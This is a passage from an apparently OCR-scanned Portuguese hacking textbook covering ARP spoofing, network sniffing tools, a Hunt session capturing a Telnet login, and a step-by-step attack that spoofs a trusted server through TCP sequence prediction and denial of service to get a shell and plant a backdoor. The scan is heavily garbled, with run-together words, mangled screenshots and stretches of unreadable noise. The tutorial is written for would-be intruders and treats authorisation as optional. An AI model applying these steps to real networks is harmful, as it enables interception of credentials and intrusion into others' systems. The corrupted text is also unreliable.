cha- mada ARP Spoofing.É umatécnicaum pouco maiscomplicada,masmuito inte- ligente. Em vez de trabalhar apenas na camada 2 (Ethernet) o invasor vai confun- dir o computador cujo tráfego se deseja "esnifar" manipulando sua tabela ARP. O ARP, como discutido anteriormente, é um mecanismo de tradução IP-para- MAC. A máquina que quer enviar o pacote pergunta, na rede: "Quem tem o IP tal"? Todas as máquinas daquele segmento ouvem a pergunta, mas apenas a interfaceque possui aquele IP=10.0.0.1 IP responde: "Sou eu, meu MAC=xx.xx.xx MAC é :XXXXXX". A partir disso,a interfacede origem monta um quadroEthernet e o enviaao destino.O ARP Spoofmgé umamaneirade enganara máquina da víti- ma,fazendo-aacreditarque o endereçoMAC da máqui- na onde o sniffer está correspondeaoendereçoIP damáquina-destinooriginal. Complicado? Sim,é.Vamos tentar exemplificar: 12761 Ataque,defesae contra-ataque: Invasão [ IP=1O.O.OA MAC=ww.ww.ww Configura H CD parareenviara B tudoquechega ~ SnilferAtivo:preparação
  • Universidade3°ano No diagramamostrado,a estaçãoA querfalarcom a estaçãoB.A partirda estaçãoH, um hackerquer farejara comunicaçãoentreA e B. Paraisso,é necessárioumapreparaçãoprévia.A primeiracoisaqueo hackerdevefazer é configurarseu sistemaoperacionalde H pararepassartodo e qualquer tráfegoque chegueparasi,vindo deA, paraa verdadeiramáquinadestino, queé B. A configuraçãodo IP forwardingnormalmenteé feitapeloprórpio sniffer,masé possívelque emalgunscasossejanecessáriofazê-Iomanual- mente.TantoWindowsquantoNetwaree tambémqualquerUnix permitem essetipo de redirecionamento.Lembra-sedaquelemapadarede,feito com ping+traceroute(ou como Cheops)?Ele serámuitoútil agora. O segundopassoé enganara máquinaA, fazendo-aacreditarqueo IP deB possuio MACdeH.IssoéconseguidofazendoH enviarumnúmeromonstruoso derespostasARPparaA,informandoqueo IP deB possuio MACdeH - respos- tasessasquesequerforamsoli- citadas.Depoisdeumcertotem- po,A "pensa"que,paramandar mensagensparao IP deB, tem queconstruirquadrosEthemet direcionadosaoMACdeH. Agoraé só ativarseusniffer preferidoe esperar.O tráfego vindodeA emdireçãoa B vai passarpor H antes.NemA nem Bvãodesconfiardisso,pois,para eles,acomunicaçãoéapenasen- treosdois.Essetipodeconfigu- raçãodeataqueé normalmente chamadode"maninthemiddle". Sniffer Ativo: ação! Escolhendoseusabujo Háumnúmerogigantescodeferramentasdesniffingquepodemserusadas emdiversasplataformas.Eisalguns: ~ tcpdump (www.tcpdump.org).a ferramentanativade monitoramento derededequalquerUnix.Já vimoso funcionamentodotcpdumpno capítulo RedeslI. Colocandoaplacaderedeemmodopromíscuo(por exemplo,com ifconfigno Linux)e rodandoo tcpdump,tem-seo maisbásicopossível(mas nãopor issomenoseficiente)snifferde redeparaUnix.A vantagemde se usaro tcpdumpé quetodosos Unicesjá o possuem- o invasornãoprecisa instalarnada,só rodaro programae direcionara saídaparaum arquivo.O comandoseria: 12771 IAtaque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI # tcpdump [opções]> arquivo.de.saída Umaversãodo tcpdumpparaWindowspodeserencontradaem windump.polito.it. JPTraf TCPConnections(SOU''C8Host:Por.t)- P"ckets- B~tesF1""s Face r-I--65-71-187-100.dsl.d 511 26374--A- ethO [68.10.252.64.sret.oot,3676 > 651 962504--A- ethOmflj-bocd..ozmo.mo,1214 > 465 21816--A- ethO rlXPOl238"108pcs.frsrc101..i.moca,1214 > 515 ~32 --A- ethOmflj-bocd..ozmo.mo'l176 > 390 18006--A- ethO [ool"18ba()fc2.~."'tmlire.net'l~ > 316 4n352--A- ethO208.100.255.153,2019 > 225 1= --A- ethO e16.49.88.~00:www = 4 1246-PA- ethO I61.9.18.19.1298 7 878-PA- ethO J pcO:H>acd..ozmo.mo'3329 199 11885--A- ethO rserver13.íicinternet.coo:www = 193 292671-A- ethO TCP: 18Ü9entr'ies fk:tive Ib1-IP (M) (162~) fmo ~4 to 0180c200000000ethO ~~~(JIT~f'f:' (~T:Er~~~~~~:~f~~f~'i H}f'echorply (84~) f w1.scd.yaIuo.moto rikEr.'ozcuo.mo(src- I frn-IP (M) (13O~) fmo ~ to 01~ onelliJ . ' ,,~IP (M) (~-~) fmo ~ to 018Oc2Ooo0ooonelliJ . , ! ~ IPTraf (iptraf.seul.org), O avô de todos os sniffersUnix, ainda pode ser efetivamente usado em uma sessão de sniffing.Apesar de sua idade, possui recursos poderosos. Valeapenadarumaconferida. Uma de suasvantagensé que, como o tcpdump, é comum encontrá-Iojá instalado- pou- pandotrabalho,recursosenão levantandosuspeitas. ~ Ethereal(www.ethereal.com).um snifferpoderoso,quesuportavários protocolos,marca-oscomcoresdiferentese interpretaseussignificados.Pos- suiumainterfacegráficamuitíssimoamigável.É maisusadapor administrado- res, masé útil tambémparacrackersmalintencionados.Disponívelpara Windowse Unix.Os autoresrecomendam. ff:ff: ff: ff: ff: ff bam.zing.or" 192.168.0.1 bam.zing.org slashdot.org b"nqing.arg slashdot.org slashdot.org bam.zing.org 110.29"019bam.zing.org 120.294194slashdot.org 13 0.298fi41bam.zing.or9 14 0.370983slashdot.org 15 0.372207slashdet.erg ,:"~",i~MM 51ashdot.org bam.zing.org slashdot.org bam.zing.erg bam.zing. org d25.hoo"or" TCP HTTP TCP HTTP HTTP Ten Who has 192.1&8.0.1? Tel1 192.168.0.2 192.168.0.115 at OO:eO:29:68:8b:fb Standard query A 51ashdot. org Standard query rasponse A 64.28.67.150 2741 >'li"'! [SVN] Seq~195095a524Açk=OWin-321 'li"'! > 2741 [SVN, ACK] Seq-1976068085Ack-1950 2741 > 'li"'! (ACK] Seq-1950958525Ack-197Gü680E GET / Hm/1.1 'li"'!>2741IACK] Seq-1976068086Ack-19509591E GUJIfJi"-"'." 2741>'li"'! [ACKJ Seq-1950959165Ack=19760695, Conti nuati on 274.1> 'li"'! [ACK] Seq-1950959165 Ack-197607098 Conti nuati on Conti nua,tion ltIFrame10(1514onwire. 1514If\r\n Server:Apache/1.3.20(Unix) mod_per1/1.25mod_gzip/1.3.19.1a\r\n X-Power.d~By:Slash 2.003000\r\n X-Bender:In the eventef ao emergency.mya5S
  • Universidade3°ano O"""",,, 7'",,,",, """""'",,,,, ""°""",,,,,,,,,,,'M'","n,'" ""'m Ci,]d,0,"0com "',','"""," ",""fi""",O,OO63 ,»,,"°'",",,,.",,ff,,",,,~,,1i..,6< '''''''',m(O""""',,,h,,'"~,°,,,,,("n,U) ",,""°.'.1."'''.1.1.05)°""",,,,", b,""h'",.'~("o.","',V'''"~''''''''"ff''"",,,1.,,,"ci,'"'"(, 5o"",,,,,,",",,",",°'>1'''''00,,,,,_(60)""'"" o"," ,,"'''°s """"',d,,,,,o' ,..o", m'580121""',,,.."h'"'"'' P »".. 0,00'" U'C,,''''oo'".TE",.'Ç~."."" MO".01," , h_,,,,,,,,'..', "_'1,,,",,,,',wn:""''"~'"""",. jp'''. '00.""". ""d,. R;;:;;';i';hi:;'~RE::"I;i,1:';;;'''''-''''iim'«'"'"''''''' ;'h","",h'",5h""'''''''-C~","it"'',""'h''I'ITlE' :;"'''''mm,' mor,'",o""oo'""~.,,,o",W"'"'.''''",,",0'AU",-""'",""',"""...,,,""",,,,..,,, ::o"i~i~) "H1:i':;';'~:'h1;p~1id-~;:~~H:~;tA):J::~;i,'11i:;::j,h,;i"",h''''"O'tl''''k>lO", "~'I"",,'" > "'-"-"p'",'F-'''T"II"ho''3"''''~'.T""",,",,I,''
  • IUniversidadeH4CK3RI ~Hafiye(www.enderunix.org/hafiye)éumsnifferbaseadoemknowledge-base. Possuiumbancodedadoscompadrõesdosmaisdiversosprotocolosdecomunica- çãoe criptografiae é capazdesepararosdadosúteisdedentrodeumpacote. ~ Kismet (www.kismetwire1ess.net)é um farejadorde redeswire1ess (802.11)nosmoldesdoIPTrafe tcpdump.Alémdesercapazdedecodificaros protocolospertinentes,conseguedividirasredespor áreae por céluladerá- dio.DesenvolvidoespecialmenteparaLinux,suportanativamenteo PDAZaurus, daSharp,complacaderedewireless.UmaboapedidaparaWarDriving. ~ USB Snoop (sourceforge.net/pro;ects/usbsnoop)monitorae gravatodo o tráfegoentreo driverdo dispositivoUSBe o própriodispositivo.Útil para engenhariareversade drivers(para,por exemplo,produzirum driverOpen Source),mastambémpodeserusadoparamonitoraro tráfegode modems USB.Umaredecriptografadae superprotegidapodeser"descadeirada"seum laptopfor ligadoa um computadordemesaligadoa elapeloUSB. ~APS- AdvancedPacketSniffer(wwws-wrtec.de/clinux)éoutroexemplodepro- gramaminúsculoquepodeserusadoparafarejarpacotes.Comoé extremamente dependentedokemel,funcionaapenasemlinux,massuainterfacesimpleseintuitiva emmodotextopermitesuaoperaçãoremotasemsobrecarregaraconexão. ~Hunt (lin.fsid.cvut.cz/-kra/index.html)nãoé apenasumsniffer,masuma ferramentacompletade exploraçãode falhasnapilhaTCP/lp.Suportatudoo queumsnifferdevesercapazdeoferecer:vigiardiversostiposdeprotocolos (ICMp,TCp,ARP),montarmensagensfragmentadasa partir de pacotesTCP seqüenciais,detectarACK Storms,seqüestrarsessões(hijacking)e "aprender" osMACsdarede,entremuitosoutrostruques.Por sermuitodidático,é o pre- feridodosprofessoresdecursosderedese segurança- foi, inclusive,desen- volvidoporumprofessordematemáticadaUniversidadedePraga,PavelKrauz. Como Hunt,podemosfacilmentecolocar-noscomomanin themidd1enuma conexão,registrartudoo queestiversendotransmitido,manipularos dadose atémesmoterminá-Ia(reset). ~ ettercap(ettercap. sourceforge.net)é um excelentesnifferativo, ou seja,é especialpara serusadoemredescom switches.SuportaMAC FloodeARP SpOOflllge é extremamentefácilde usar.Comofuncionaem modo texto, fica facil- menteoperacionalem qualquermáquinaUnix e é extremamentepe- queno. Atacar com o 280 I Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano ettercapé brincadeirade criança:primeiro,escolhe-sea duplade máquinas quesequermonitorarascomunicações. Escolhe-se,entreasconexões TCP ouUDP estabelecidas(pode havermaisdeuma),qualéaque sequermonitorar.Depoisdisso, a telamostraos dadosquetrafe- gam entre as duas máquinas. Pode-segravá-Ios,examiná-Iosem modoASCII ou hexadecimalou injetarcaracteresna trasmissão (e assimmanipulara conexão). Há pluginse novosmétodosde sniffingcom nomessugestivos, comoPortStealing,Hunt,Confusion...As possibilidades-sãoenormes! ~Angst(angst.sourceforge.net),desenvolvidoe testadoparao OpenBSD,é umaferramentaquetema seufavora robusteze o tamanhodiminuto- além de fazersniffingativo.Possuimenosrecursosqueseusprimosmaisilustres comoo ettercape o dsniff,masé pequenoo bastanteparapassardespercebi- do emumamáquinainvadida.Funcionatambémcom FreeBSDe Slackware Linux,outrasplataformasUnix requeremrecompilaçãoe testes. ~ Dsniff (www.monkey.org/-dugsong/dsniff)é,na atualidade,o maisres- peitadosnifferativopararedescomutadas.Foi testadopelos autoresem OpenBSDe LinuxemPCse SolarisemmáquinasSunSPARC,masjá foi testado empraticamentetodosos saboresUnix conhecidos,entreelesAlX, FreeBSD, HP-UXe atéMacOS X (blafasel.org/-floh/ports/dsniff-2.3.osx.tgz).Há ainda umaversão(desatualizadamasfuncional) paraWindows, disponível em www.datanerds.net/-mike/dsniff.html. Apesardossniffersmaissimplesseremmaisfáceisde"plantar"e usar,háoutros, maiselaborados,quesãoverdadeirasobras-de-artedomal.O tcpdumpsozinhoem umamáquinaUnixjápoderiafazermuitoestrago,e tema vantagemdejá estar instalado.Poroutrolado,máquinasWm9xpermitemqueuminvasor"esnife"arede (usando,porexemplo,oWmdumpouo Ethereal)seminvadirmáquinasmuitocom- plicadasou seguras.ComoqualquerusuáriodeWm9xtemcontroletotalsobrea máquina,épossívelrodarumsniffernelasemprecisarquebrarnenhumasenhade administrador.A insegurançainerentea essaarquiteturaauxiliao inimigo.Qualquer servidorouestação,sejamelesUnices,Macintoshes,NetwaresouWmdowsNT/2kj XP,podeserumperigosemalconfigurados.Entretanto,redescomestaçõesWmdows 95/98/Menuncaserãoseguras,qualquerquesejao esforçodispendidonelas. Paramaisopções,procurepor "sniff"no Fresmeat(www.freshmeat.net)ou no Goog1e(www.goog1e.com).O download.comtambémpossuidiversasop- çõesparaWindows,e os CDsdo livrotambémtrazemmaisalgunsdeles.Uma últimadicasobresniffers(e outrasferramentas):pedram.redhive.com. 1281I 1 Ataque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI Farejando na prática NadacomoumasessãodesniffmgparafIxarosconceitosaprendidos.Poderí- amosexemplificaresseprocedimentocomumsniffergráficocomoo Ethereal, quepossuiumaversãoparaWindowseumabelainterfacedecomando.OEthereal aindaseparae interpretaos protocolosparavocê,demodoa fazero máximo possíveldo"trabalhosujo"e deixarao administradorde redeapenascomas informaçõesúteis,"mastigadas".Maslembre-se:sevocêestáexplorandouma rederemota,possivelmentevaideixarseusnifferrodandosozinhoparadepois recuperaro arquivocontendoo tráfego.A interfacegráfica,os"frufrus"e ainte- ligênciadoEtherealdenadaadiantarãonesseambiente. Antesdecomeçarnossoestudo,doislembretes.Emprimeirolugar,observeque suaconexãodomésticaàInternetprovavelmentesedáporumprotocolodecamada 2chamadodePPPouPoint-to-PointProtocol.Comoo nomejádiz,éumprotocolo pontoaponto:suaredelocalpossuiapenasduasintetfaces,adesuamáquinaeado modemdoprovedordeacesso.JustamentedevidoaoPPp,vocênãopoderáfarejaro tráfegonasubrededeInternetàqualvocêestá(aparentemente)conectado.Emuma ligaçãoempresarial- normalmentepor linhaprivadausandoFrameRe1ayouX.25 enãoPPP- épossível(emboranãomuitoprováveldevidoaftrewallseroteadores) queasubrededaInternetdeterminadaparaa empresapossaserfarejada.Dequal- querforma,umsnifferéútilapenasemestruturasdeconectividadeinternas,ondehá verdadeiramenteváriasmáquinastrafegandoinformaçõesnamesmaredelocal. O outrolembretenãoé menosimportante.Existemtrêscondiçõesbásicas parasepoder"esnifar"a rede: 1.Existirumaredecompelomenos3máquinas(asduasquesequermonitorar maisa sua,quemonitoraráasoutrasduas). 2.Possuiracessodesuperusuário(rootparaUnix e MacOSX ouAdministra- dorparaWinNT/2k!XP- máquinascomWin9xnãoprecisamdenadadisso...) namáquinaquefIcaráemmodopromíscuoe farejaráa rede. 3. Possuirautorizaçãoparafazera monitoraçãoe alertarosusuáriosdarede paratal.Nãoé condiçãoimpeditivaparainiciaro sniffIng,masé ético.Todos têmdireito,garantidopor lei, àprivacidade.Sesuaempresapossuiumapolíti- cademonitoraçãodetráfego,estadeveserinformadaaosfuncionários. Issoposto,vamosao queinteressa.Emnossoprimeiroestudo,usaremoso Hunt.O programapossuiumainterfacecomo usuárioemmodotextoque, apesardesingela,émuitofuncional.Nãovamosentraremdetalhessobreainsta- laçãodoprograma- háintruçõesparaissonadocumentaçãoqueo acompanha. Emnossarededetestes(LaboratóriodeRedes11),instaleo Huntnamáquina Unix.Elaseránossamáquina"haxor".Vamosmonitorarumaconexãoentrea máquinaWindowse a máquina"coitada".Paraquepossamosacompanharme- lhoraconexão,vamosabrirumasessãodeTelnet,queéumprotocolointerativo e que funciona em texto simples - perfeitapara ser monitoradapela suasim- plicidade e baixavelocidade.Observe: 12821 Ataque,defesaecontra-ataque:Invasão[
  • Unix Hunt 192.168.1.3 Coitada Telnetd Universidade3°ano Windows Telnet NaCoitada(192.168.1.2)estamosrodandorunservidordeTelnet(nãoesqueça deativá-Io!).NamáquinaUnix,executeo Hunt.Serámostradarunatelacomoesta: /* * * hunt 1. 5 mu1tipurpose connection intruder / sniffer for Linux (c) 1998-2000 by kra * */ starting hunt - Main Menu - rcvpkt O, free/a11oc 63/64 --- l/w/r) 1ist/watch/reset connections u) host up tests a) arp/simp1e hijack (avoids ack storm if arp used) s) simp1e hijack d) daemonsrst/arp/sniff/mac o) options x) exit -> o símbolo->é Opromptdo Hunt.Observeo menu.Há rotinasparalistar, observare derrubarconexões,verificarservidoresonline,fazehijackingetc. Temosqueconfiguraro Huntparaquepasseaescutarnossarede.Observe:as opçõesl/w/r, respectivamente,listamtodasasconexõesativas,vigiamuma delase interrompem-na(reset).Paraquefuncionem,énecessárioquehajaalgu- maconexãoativa. Escolhaa opção"o"(options)e pressionea teclaEnter.Um novomenuserá apresentado:; -> o - options - rcvpkt 723, free/a11oc 63/64 --- 1) 1ist add conn po1icy a/m/d) add/mod/de1 conn po1icy entry c) conn 1ist properties macn, seq n g) suggest macbase EA:1A:DE:AD:BE:00 h) host reso1ving n t) arp req spoof through req y 1283 I ] Ataque,defesae contra-ataque:Invasão
  • I Universidade H4CK3R I r) reset ACK storm timeout s) simple hijack cmd timeout q) arp req/rep packets p) number of lines per page i) print cntrl chars x) return -opt> 4s 2s 2 O y w) switched environment y) arp spoof with my mac e) learn MAC from IP traffic v) verbose y n n n São inúmerasopções. Por enquanto, vamos nos ater às mais básicas.As opções a/m/d manipulam o que é chamado, numa tradução livre, de regras de conexão. Basicamente, uma regra de conexão é a maneira pela qual dizemos ao Hunt quais conexões queremos monitorar. Vamos adicionar uma regra (opção "a"). -opt> a src ip addr/mask ports [0.0.0.010]> o programa pede o endereço IP e a máscara de rede da interface de origem (src) que queremos monitorar. No nosso caso, a interface de origem é aquela que vai fazer conexão com um servidor telnet, portanto colocaremos aí o IP da máquina Windows. Lembrando do que aprendemos em Redes 11,O (zero) quer dizer "todos". Portanto, colocar um zero em qualquer lugar do endereço indica que todas as máquinas com aquele prefIxo serão monitoradas. Por exemplo, se eu colocasse 192.168.1.1/32, eu monitoraria os pacotes originados nessa má- quina. Se eu colocasse, por outro lado, 192.168.1.0/24, o Hunt farejaria os pa- cotes de todas as máquinas da rede 192.168.1.0, ou seja, entre 192.168.1.1 e 192.168.1.254. Num caso extremo, colocar 0.0.0.0/0 seria o mesmo que dizer ao programa: "Vasculhe TUDO!" De maneirasimilar,preenchao endereçode destino.A próximapergunta (insertat) é simplesmenteparadefInirem queposiçãoda listanossaregra aparecerá. A opção"1"listaasregrasdeconexãoexistentes.Emnossocaso,teríamos: -opt> 1 O) 0.0.0.010 [alI] 1) 192.168.1.1/32 [alI] O. O . O . O 1 O [23 513] 192.168.1.'2/32 [alI] -opções do menu-- *opt> Observequetemosumasterisconoprompt.O Huntestánosindicandoque asmáquinasestão"vivas"narede.Parasairdo modoopções,usaa opção"x". Devoltaàtelainicial,temosa opçãodelistar("1")asconexõesativas~Experi- menteeveja:nãohánenhumaconexãono momento.Vamoscriarumaentão. :841 Ataque,defesaecontra-ataque:Invasãor
  • Universidade3°ano Na estaçãoWindows(192.168.1.1)vamosfazerumaconexãodeTelnetpara a"Coitada".AbraumajaneladoDOSe digitetelnet 192.168.1.2.Setudoesti- vercerto,vaiaparecera teladelogindamáquina"Coitada"najaneladeTelnet damáquinaWindows.Na máquinaUnix,volteao Hunt e escolhaa opção"I" novamente.Mágica:apareceua conexãoentre192.168.1.1e 192.168.1.2.A portadeorigemé alta(comodeveriaser,leiao capítuloRedes11eaRFCI700), e a dedestinoé a 23 - aportado serviçoTelnet.Vamos,então,pediraoHunt quemostreo tráfegoparanós.Escolhaaopção"w"(watch),escolhaqualcone- xãoquermonitorare,emseguida,a opção"b"(both). VolteàmáquinaWindowse dêseulogine senha.Sevocêobservarno Hunt, essasinformaçõesserãomostradaslá.Casoo loginsejabemsucedido,o promp doshellUnixapareceránoTelnetdamáquinaWindows- e tambémnatelado Hunt,queestánumamáquinaquenemparticipoudatransação!Façavárias experiências:listediretórios,editetextoscom seueditorfavoritoou chame algumprograma- todasessasatividadesserãomonitoradaspelo Hunt. Parao Hunt,esseé o básico.Porsuasimplicidade,acabaficandolimitadoem possibilidades,masé muitoútil namaioriadoscasos.É óbvioquehá muito maisaexplorarsobreo programa,masdeixoissocomodeverdecasa.Brinque como Huntpor algunsdias,farejesuarede,leiatodaadocumentaçãoeprocu- repormaisrecursosnaInternet.Depois,tentetambémbrincarcomo Snort,o Sniffit,o Ethereale o IPTraf,tantoemUnix comoemWindows.Usetambém algumasdasferramentassimplesdisponíveisnos CDs.Pararumasemanaou duasparatal seriao desejável,e só depoisdissoprossigaa leitura.Valeráa pena- e serádivertido! Quandoa caçaé vã o Hunté um ótimo (e didático...) sniffer,mas tem um problema insolúvel paraosmodelosclássicosdesniffers:nãoustrapassasniffersou switches.Para asredescomutadas,é necessárioutilizarsniffersapropriados,quefaçamARP Spoofmgou,pelomenos,MACFlood. Doissnifferso fazemdeformamagistral:Ettercape Dsniff.Já falamossobre ARP Spoofmge MACFloodháalgumaspáginas.Estudea documentaçãoe ex- perimenteambososprogramas.Adicionalmente,sugerin}osqueo leitorprocu- re maisinformaçõessobreos seguintesmétodosde sniffmg: ~SSLSpoofmg(falseandoou manipulandocertificadosdigitais); ~DNS Spoofing(desviandoo tráfegoWebparaservidoresfalsos); ~Snarfmg(umamaneirade"pentear"os pacotesTCP/UDP paraextrairde- lesapenasa informaçãoqueé mostradanateladavítima:e-mail,mensagens instantâneas,páginasdaweb...). 1285I ]Ataque,defesaecontra-ataque:Invasão
  • IUniversidadeH4CK3RI Who canyoutrust? Just sayenoughis enough/ Oh I gotcha/ W'howho who can you trust7 Urna maneira de se conseguir um Spoofing mais efetivo é através das relações de confiança (ou trust relations) entre computadores.Issopermite que um computador possa ter acessoa vários recursos fazendo login em apenas um sistema. Observe:existeumamáquinaservidora(vamoschamá-Iade"S")quepossui relaçãode confiançacom outrasmáquinas(vamoschamá-Ias"TI", "T2","T3" etc.).Seo usuáriologar-senamáquinaS,automaticamenteteráacessoarecur- sosdasmáquinas"T".Enquantoessafacilidade"quebraumgalhão"paraadmi- nistradoresde redee permitequeusuáriosloguem-seemapenasum sistema parateracessoavários,seumhackerconseguirfazer-sepassarpelamáquina quetema confiançapoderáteracessoa todasasoutras,que"confiam"nela. TantosistemasUnix quantoWindows(e tambémNovell...)possuemfacilida- .des parecidas.O Windows 2000 possui um recurso chamadoAdvanced DirectoryService(ouADS),quedetémo cadastrodetodosos usuáriose má- quinasdaredee asrelaçõesentreeles.O usuário,ao logar-seemumdomínio Windows,temseunomee senhacomparadoscomos doADSe,casoaceitos, todosos serviçossãodisponibilizados. A Novellpossuium produtochamadoeDirectory(www.novell.com/pt-br/ products/edirectory)baseadoemum núcleo,o NovellDirectoryServiceou NDS.O softwareoperada mesmaformaque o ADS da Microsoft,com um diferencial:nãoestárestritoaosprodutosNovell.Na realidadeé possível,atra- vésdoeDirectory,criarconexõesparatodosostiposdeplataformasdesoftware 7.'~penasdigaquejá teveo bastante/ Hehe,eupegeivocê/ Emquem,emquem,emquemvocêpode confiar?"JoanJett,Who canyou trust.Do album"CherryBomb,de 1995. 12861 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano e hardwareimagináveis,incluindoaí Unices,Windowse mesmosistemasde grandeporte. Tanto o eDirecory quanto o ADS baseiam-senum padrão chamado LightwheightDirectory,AccessProtocolou LDAP.Háversõesdo LDAPdispo- níveisparadiversossaboresde Unix.Umadasmaisfamosasé o OpenLDAP (www.openldap.org).versãolivre,gratuitae de códigoaberto.O LDAPé uma forma segurade prover, para aplicações Unix (e tambémWindows e Macintosh...),o chamadosing1e-sign-on(oulog-seapenasumavez)eteracesso a váriosrecursosdisponíveisempontosdistantesdarede. Masos sistemasUnix possuemdois antepassadosdessesserviços:o NIS (NetworkInformationService)e o famigeradoUnixTrust.Por suaidade,am- bos sãoextremamenteinsegurose facilmentehackeáveis.Falaremosdo NIS maisparafrente,já quesuafalhanãosetratade IP Spoofmg. O Unixpossuiumasériedecomandos,todosiniciandoem"r"(deremote)que permitemquediversossistemaspossamseroperadossemquesejaprecisoau- tenticar-seemcadaumdeles.Imagine,por exemplo,queo usuárioestálogado namáquinaA.A máquinaB confiaemA,portantopermitiráqueoscomandos"r" sejamexecutadosnelatambém.Porexemplo,seo usuáriodamáquinaA emitiro comandorloginIP.DE.B,serápresenteadocomumshelldamáquinaB semque sejanecessáriofornecerusuárioou senha.B confiaemA, entãoB confianos usuáriosdeA...Damesmaforma,háoscomandosrsh(remoteshell- permitea execuçãodeapenasumcomando),rcp(remotecopy),rmail(lêe-mailsnooutro sistema)entreoutros.Paraquesejapermitidaaexecuçãodoscomandos,éneces- sárioqueo IP deA estejacontidono arquivo/etc!hosts.equivde B.Todasas máquinascujoIP estãoem/etc!hosts.equivdeB sãodeconfiançaparaB.Além dessearquivo,cadausuáriodeB podeter,emseupróprio!home,umalistade máquinasnasquaisconfia,guardadano arquivo.rhosts. Confiança letc/hosts.equiv -IP.DE.A -IP.DE.H No exemploacima,todasasmáquinas"S"e "T"sãoUnix.Asestaçõespodem serqualquercoisa.Emcadaumadasmáquinas"T"mostradas,háumarquivo,o /etc!hosts.equiv,contendoo IP de"S".Assim,todososusuáriosqueselogarem em"S"poderãoteracessoaosrecursosdasmáquinas"T".É possívelcrialshell scriptscomosr-comandos,por exemplo,paraautomatizaro processoe facili- tara vidadessesusuários. 12871 1 Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI Maso queacontecequandousamosos r-comandos?O usuárioestálogado em"s"e,por meiodeumcomandorlogin,conseguiuumshellde"T3"semque fossemsolicitadosum usuárioe umasenhaválidosem"T3".Ocorreque,na prática,o usuárioestálogadoem"T3",e todasassuasaçõesserãooriginadas de"T3"(e nãode"s"ou de"H",suaestaçãodetrabalho...).Seo invasorusar algumscannercontrao sitedeumaempresa,ou tentarconectar-sepor brute- forcea umserviçonaInternet,seráo IP de"T3"queseráregistrado,nãoo de "s"e muitomenoso de"H". Agoraé queamágicaacontece.Seformosusuáriosjácadastradosem"S",nãohá problema.Bastalogarmosem"S",darumrloginparaT3 e usá-lo.Mase senãofor- mos?E mesmoseformos,seremosregistradosnoslogsde"S",entãoo quefazer? É possível"envenenar"umarelaçãodeconfiançaentreduasmáquinasusan- do spoofmg,umpoucodesniffinge umapitadadenegaçãodeserviço.Imagi- neumaredecorporativaondeháumamáquinachamadaSERVLOGIN,naqual os usuáriosserãoautenticados,e outras,cadaumacom umnomealusivoao recursoqueeladisponibiliza(por exemplo,IMPRESSORA,FISCAL,INTRANET, VAX, FINANCEIRO, entre outros...).Todasessasmáquinasusamo jetcj hosts.equivpara"confiar"no julgamentode SERVLOGINno tocantea quais usuáriostêmpermissãoparaacessarseusrecursos.Imaginetambémque,em algumlugarignoradonaInternet,háumamáquina"H"quedesejaconectar-se a algumcomputadorinterno. Pararealizara tarefaa contento,temosquepartirde algumaspremissas: ~ Emprimeirolugar,temosqueteremmenteque"H"nãoestánamesma LAN que SERVLOGINou qualquerumadasoutrasmáquinas.Pelo contrário, estálá - beeeemlonge- nanuvemdaInternet.Por issomesmo,é impossível "esnifar"o queocorrenaLAN. ~ De algumamaneirajá descobrimosque SERVLOGIN é considerado "confiável"pelosoutrosservidores.DescobrimosissoporqueinvadimosIM- PRESSORA,por exemplo,ou o próprioSERVLOGIN,e consultamososarquivos .rhostsou jetc!hosts.equivou mesmoos logsdo sistema,à procurade sinais deconexãopor UnixTrust. 12881 Ataque,defesae contra-ataque: Invasão
  • Universidade3°ano ~ Nossoobjetivoé, então,traçado:queremosqueumadasmáquinas(por exemplo,INTRANET)"pense"que"H"é,na realidade,SERVLOGIN.Com isso, teremosumshellemINTRANET,comumIP à disposiçãoparausarmosà von- tadeemnossasmaldadespor aí... Vamosdaruma"receitinhadebolo"paraesseataque.É a melhormaneirade explicara teoriade cadaum dospassosnecessários.Paramaiorclarezano texto,chamaremoscadaumdoscomputadoresapenaspor seusnomes(Le."H" emvezde"amáquinaH"ou"s"emvezde"o servidorS"). 1. "H"iniciavárias- naverdade,milharesde - conexõesreais,semimpos- tura(ou seja,semspoofmg),paraINTRANET."H"enviaváriospacotesSYN e esperapelosACKs de INTRANET.BaseadonessesACKs,"H"pode inferir (ou antes,adivinhar)a progressãode númerosseqüenciaisTCP geradospor INTRANET.Com isso,"H"podeter umaidéiadosnúmerosa usarmaispata frente,quandoestiverconectandoao sistemaINTRANET. 2. Depoisdisso(ou simultaneamente,casoo invasorpossuaoutramáqui- na) lança-seum ataquede negaçãode serviço contra SERVLOGIN.Com SERVLOGINforada jogada,impedimosque o mesmoenvieum pacoteTCP RSTe derrubenossaconexão"spoofada". 3. Usandoumdosr-comandos,"H"iniciaumaconexãoaINTRANETusando o IP de SERVLOGIN.A INTRANETrespondecomumACK paraSERVLOGIN, queestáforadecombatedevidoànegaçãodeserviço. 4. Agora,amágica:"H"enviaumACKparaINfRANET,comoIP deSERVLOGIN e umaestimativado númeroseqüencialTCP - calculadopelaprogressãodetecta- danopasso1maiso tempoqueo processotodolevouatéchegaraqui. 5. Casotenhaacertadonamosca(o hackerpossuiapenasumtiro...)a co- municaçãoé estabelecidae mantidaenquantoSERVLOGINestiverforado ar. Setivererrado,o invasorpoderepetira receitinhaatéacertar. AlgunssistemassãoidiotamentefáceisdepreveraseqüênciaTcp,outrosnemtanto, e háunspoucosondeessaseqüência(?)é quasealeatória(?!?!??).A predictabilidade deladiráseo sistemaé facilmentehackeávelpor essemétodo- ounão. Lembradaquelasvelhascantigasdo tipo"JoãoamavaMariaqueamavaPedro..."? Poisé.Nopasso3,"H"iniciouumaconexãocomINTRANEffingindoserSERVLOGIN. Parainiciaressaconexão,usouumr-comando(porexemplo,umrlogin).Seo hacker acertoua seqüenciaTCp,foi presenteadocomum shellde INTRANET.Sóque INTRANET"pensa"quequeminicioua comunicaçãoé SERVLOGIN,e mandaas respostasparaessamáquina.Resultado:"H"podeemitircomandos,masnãotema mínimaidéiaseestãofimcionandoounão- nãoháfeedbacknatela. Enquantoissopodeparecersuficienteparaumestragoqualquer(assimcomo nasvulnerabilidadesdiscutidasanteriormente,comoo estourodepilhaou os CGIs"amigos"),o hackerpodeusaresseshell(etambémo doestourodepilha, bem como o dos CGIs...) para configurarrapidamenteum backdoorem INTRANET.NãoseesqueçaqueSERVLOGINestátintocomanegaçãodeservi- 